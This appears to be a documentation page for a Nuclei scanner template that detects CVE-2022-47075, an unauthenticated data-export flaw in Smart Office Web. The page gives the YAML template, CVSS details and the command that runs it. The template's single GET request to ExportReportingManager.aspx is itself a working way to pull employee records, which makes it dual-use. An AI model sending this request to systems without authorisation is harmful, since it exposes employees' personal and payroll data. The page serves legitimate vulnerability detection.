Smart Office Web 20.28 - Information Disclosure

ID: CVE-2022-47075

Severity: high

Author: r3Y3r53

Tags: cve,cve2022,packetstorm,smart-office,info,exposure,smartofficepayroll

Description

An issue was discovered in Smart Office Web 20.28 and earlier allows attackers to download sensitive information via the action name parameter to ExportEmployeeDetails.aspx, and to ExportReportingManager.aspx.

YAML Source

id: CVE-2022-47075

info:
  name: Smart Office Web 20.28 - Information Disclosure
  author: r3Y3r53
  severity: high
  description: |
    An issue was discovered in Smart Office Web 20.28 and earlier allows attackers to download sensitive information via the action name parameter to ExportEmployeeDetails.aspx, and to ExportReportingManager.aspx.
  reference:
    - https://packetstormsecurity.com/files/173093/Smart-Office-Web-20.28-Information-Disclosure-Insecure-Direct-Object-Reference.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-47075
    - http://packetstormsecurity.com/files/173093/Smart-Office-Web-20.28-Information-Disclosure-Insecure-Direct-Object-Reference.html
    - https://cvewalkthrough.com/smart-office-suite-unauthenticated-data-ex/
    - https://youtu.be/D42upepxzwM
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-47075
    epss-score: 0.014
    epss-percentile: 0.86401
    cpe: cpe:2.3:a:smartofficepayroll:smartoffice:*:*:*:*:web:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: smartofficepayroll
    product: smartoffice
  tags: cve,cve2022,packetstorm,smart-office,info,exposure,smartofficepayroll

http:
  - method: GET
    path:
      - "{{BaseURL}}/ExportReportingManager.aspx"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/CSV")'
          - 'contains(body, "EmployeeName") && contains(body, "EmployeeCode")'
        condition: and
# digest: 490a0046304402200cf18bfc8d302015edbd68efea5ae4d27d94bc69dd5212ff0ef6e0b6060d10ad02202af497e3efa09ef97d4bf58ecc925981a583a85d89342636a3c8fbcd629b182b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-47075.yaml"

View on Github